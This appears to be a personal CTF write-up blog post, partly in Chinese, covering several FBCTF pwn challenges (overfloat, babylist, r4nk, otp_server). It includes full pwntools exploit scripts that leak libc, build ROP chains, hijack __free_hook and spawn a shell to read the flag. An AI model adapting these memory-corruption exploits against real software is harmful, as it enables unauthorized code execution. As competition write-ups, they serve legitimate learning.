some pwn challenges’ wp in fbctf

Start

I play the game alone so there are only a few write-ups about easy pwn challenge You can find the binary here

overfloat

emm , It is an easy chanllenge ,but you should know every part of float(Sign,Exponent,Mantissa) I got some useful infomation from This blog And I used an online transfer to finish part of my exp But after leaking the libc_base, I found I had to write an transfer by myself。。。 so here is my transfer :

import math
def tran(s):
	base=(bin(s)[2:]).rjust(32,"0")
	sig=base[:1]
	exp=base[1:9]
	man=base[9:32]
	'''
	if exp[0]=='1':
		exp=-int("0b"+exp[1:],2)+127
	else:
		exp=int("0b"+exp[1:],2)
	'''
	exp=int("0b"+exp,2)
	if exp > 127:
		exp=exp-127
		sum=0
		idx=0
		for x in man:
			idx+=1
			if x=="1":
				sum+=math.pow(2.0,-idx)
		sum+=1
		#print sum
		res=sum*pow(2.0,exp)
		if sig=="1":
			return "-"+str(res)
		else:
			return str(res)
	else:
		exp=exp-126
		sum=0
		idx=0
		for x in man:
			idx+=1
			if x=="1":
				sum+=math.pow(2.0,-idx)
		#print sum
		res=sum*pow(2.0,exp)
		if sig=="1":
			return "-"+str(res)
		else:
			return str(res)
	
#print tran(0x7fff)

and Here is my exp.

from pwn import *
import tran
def sd(c="-6.2598534E18"):
	p.sendlineafter(": ",str(c))

libc=ELF("./overfloat").libc
#p=process('./overfloat')
p=remote("challenges.fbctf.com",1341)
for x in range(7):
	sd()
	sd()
rdi=0x00400a83
sd("5.881243E-39")
sd("0")
sd("8.827732E-39")
sd("0")

puts=0x000000000400690
sd("5.879826E-39")
sd("0")

rdi=0x00400a83
sd("5.881243E-39")
sd("0")
sd("2.8E-44")
sd("0")

rsi=0x400a81
sd("5.88124E-39")
sd("0")


sd("5.881103E-39")
sd(0)
sd()
sd()

#sig
sd("5.880005E-39")
sd("0")

main=0x400993
sd("5.880906E-39")
sd("0")

p.sendline("done")

p.readuntil("\n")
base=u64(p.readuntil("\n")[:-1].ljust(8,'\x00'))-(0x7ffff7a649c0-0x7ffff79e4000)
log.warning(hex(base))
libc.address=base
for x in range(7):
	sd()
	sd()

sh=libc.search("/bin/sh").next()
log.info(hex(sh))
log.info(hex(libc.sym['system']))
sd("5.881103E-39")
sd("0")

sd("5.881243E-39")
sd(0)
context.log_level='debug'
#gdb.attach(p,'b *0x000000000400982')
a=tran.tran(sh&0xffffffff)
b=tran.tran(base>>32)
c=tran.tran(libc.sym['system']&0xffffffff)
sd("{}".format(a))
sd("{}".format(b))
sd("{}".format(c))
sd("{}".format(b))
p.sendlineafter(": ","done")
p.sendline("cat home/overfloat/flag")
p.interactive()

babylist

An little challenge about vector & shallow copy the function of copy is vulnerable , It just copies the address of the vector. So it may lead to uaf.

else
  {
    v2 = get_idx();
    v3 = (node *)operator new(0x88uLL);
    init_the_chunk((__int64)v3);
    list[i] = v3;
    memcpy(list[i], list[v2], 0x88uLL);
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Enter name for new list:");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    std::istream::getline((std::istream *)&std::cin, list[i]->name, 0x70LL);
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "List has been duplicated!");
  }

so we can pwn it by:

  • uaf to leak the libc_base
  • hijacking __free_hook

There is my exp:

from pwn import *
def cmd(n):
	p.sendlineafter("> ",str(n))
def add(name):
	cmd(1)
	p.sendlineafter("list:\n",str(name))
def num(idx,n):
	cmd(2)
	p.sendlineafter("list:\n",str(idx))
	p.sendlineafter("add:\n",str(n))
def show(idx,index):
	cmd(3)
	p.sendlineafter("list:\n",str(idx))
	p.sendlineafter("list:\n",str(index))
def cp(idx,name):
	cmd(4)
	p.sendlineafter("list:\n",str(idx))
	p.sendlineafter("list:\n",str(name))
def free(idx):
	cmd(5)
	p.sendlineafter("list:\n",str(idx))
def cal(n):
	if n>0:
		return n
	if n<0:
		return 0x100000000+n
def recal(p1):
	if p1 >= 0x80000000:
		p1=p1-0x100000000
	return p1
#context.log_level='debug'
libc=ELF("./libc-2.27.so")
#p=process('./babylist')
p=remote("challenges.fbctf.com",1343)
add("Origin")
for x in range(0x40):
	num(0,1)
for x in range(8):
	cp(0,str(x))
for x in range(0,8):
	num(x,1)
show(8,0)
p.readuntil("= ")
p1=cal(int(p.readline()[:-1],10))
show(8,1)
p.readuntil("= ")
p2=cal(int(p.readline()[:-1],10))
p2=p2<<32
base=p2+p1-(0x7ffff782eca0-0x7ffff7443000)
log.warning(hex(base))
libc.address=base
for x in range(0,8):
	free(x)
add("0")#0
sh=0x68732f6e69622f
num(0,(sh&0xffffffff))
num(0,(sh>>32))
for x in range(0x20-2):
	num(0,"1")
cp(0,"1")#1
cp(0,"2")#2
cp(0,"3")#3
num(0,"1")
num(1,"1")
add(p64(libc.sym['__free_hook']))
add("/bin/sh")
add(p64(libc.sym['system']))
num(3,0)
p.interactive()

r4nk

The binary is simple and the vulnerability is obviously. we can leak and set our rop chain(becouse of cdqe we can’t use libc_address directly).

from pwn import *
def cmd(n):
	p.sendlineafter("> ",str(n))
def show():
	cmd(1)
def rank(idx,r):
	cmd(2)
	cmd(idx)
	cmd(r)
def cal(n):
	return (n-0x000000000602080)/8
rdi=0x0000000000400b43
rsi=0x0000000000400b41
read=0x0000000004005F0
exit=0x000000000400630
gene=0x000000000400B3A
do_call=0x000000000400B20
context.log_level='debug'
libc=ELF("./libc-2.27.so")
p=process('./r4nk')
#p=remote("challenges.fbctf.com",1339)
rank(0,cal(0x00000000004004D8))
show()
p.readuntil("0. ")
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7af4140-0x7ffff79e4000)
log.warning(hex(base))
raw_input()
one=base+0x4f2c5
#gdb.attach(p,'b *0x000000000400ACD')

rank(17,gene)
rank(18,0)#rbx
rank(19,1)#rbp
rank(20,0x000000000602030)#r12
rank(21,0x0)#r13
rank(22,0x000000000602050)#14
rank(23,0x10)#15
rank(24,do_call)
rank(32,rdi)
rank(33,0x000000000602050+8)
rank(34,exit)

cmd(3)
p.send(p64(libc.sym['system']+base)+"/bin/sh\x00")
sleep(1)
p.sendline("cat /home/r4nk/flag")
p.interactive()

#flag{wH0_n33ds_pop_rdx_4NYw4y}

summary

emm , that all chanllenges I solved in the game ,thank facebook for this game ! and It’s important have a fast vps…..several times I slove the challenge but can’t get the flag.

周日有个刷分的英语课的口语考试..发现这次准备比之前好多了看情况成绩应该不错. 内核&虚拟机还是两个硬伤还没开始学,期末考完学吧。 最终排行105,还是自己实力太差了。

Addition

以下部分是一些复现题目,最进期末可能时间不多不能如数复现。

opt_server

这题是值得反思的。。。 比赛的时候死活做不出来我居然睿智地认为自己已经做出来了只是网速问题。。。 其实我根本没有get到point。

vulnerability

unsigned __int64 __fastcall do_enc_and_leak(char *res)
{
  unsigned __int64 v1; // ST28_8
  int RND; // eax
  int rnd; // ST1C_4
  int len; // eax
  __int64 len_1; // ST20_8

  v1 = __readfsqword(0x28u);
  RND = fread_4();
  rnd = RND;
  *(_DWORD *)res = RND;
  len = snprintf(res + 4, 0x104uLL, "%s", &msg);// ret value is the len to msg
  len_1 = len;
  *(_DWORD *)&res[len + 4] = rnd;               // someproble
  do_xor(res);
  do_leak(res, len_1 + 8);
  return __readfsqword(0x28u) ^ v1;

这里的snprintf比较危险,返回值是msg的长度。所以我们可以利用填满msg来连接上后面的key导致len随意控制。 从而产生地址泄漏和任意4字节写rnd的问题。

利用

‘睿智’的我没想到可以多次写。。。做了那么多pwn题还是那么死板实在丢人。

  • leak mem
  • 从高地址向低地址多次写,每次写上对的值再写下一个字节。
def fill(offset,data):
	key("\xff"*(0x10+offset)+'\x00')
	i=0
	while(1):
		i+=1
		#print i
		enc("A"*0x100)
		p.readuntil("--\n")
		tmp=p.read(4)
		res=""
		for x in tmp:
			res+=chr(ord(x)^0xff)
		res=u32(res)
		res=res>>24
		if ((res&0xff)==data):
			return	

exp

from pwn import *
def cmd(n):
	p.sendlineafter(">>> ",str(n))
def key(key):
	cmd(1)
	p.sendafter(":\n",str(key))
def enc(e):
	cmd(2)
	p.sendafter(":\n",str(e))
def fill(offset,data):
	key("\xff"*(0x10+offset)+'\x00')
	i=0
	while(1):
		i+=1
		#print i
		enc("A"*0x100)
		p.readuntil("--\n")
		tmp=p.read(4)
		res=""
		for x in tmp:
			res+=chr(ord(x)^0xff)
		res=u32(res)
		res=res>>24
		if ((res&0xff)==data):
			return	

libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
p=process('./otp_server')
#p=remote("challenges3.fbctf.com",1338)
key("\xff"*0xe0)
enc("A"*0x100)
p.readuntil("--\n")
p.read(0x108)
canary=u64(p.read(8))
pie=u64(p.read(8))-0xdd0
base=u64(p.read(8))-(0x7ffff7a05b97-0x7ffff79e4000)
p.read(8)
stack=u64(p.read(8))
#log.warning(hex(canary))

log.warning(hex(base))
libc.address=base
one=0x10a38c+base
one=0xffffff&one
log.success(hex(one))

fill(3,((one>>16)&0xff))
fill(2,((one>>8)&0xff))
fill(1,(one&0xff))


gdb.attach(p,'''
b *0x555555554dcc
''')

context.log_level='debug'
cmd(3)

p.interactive()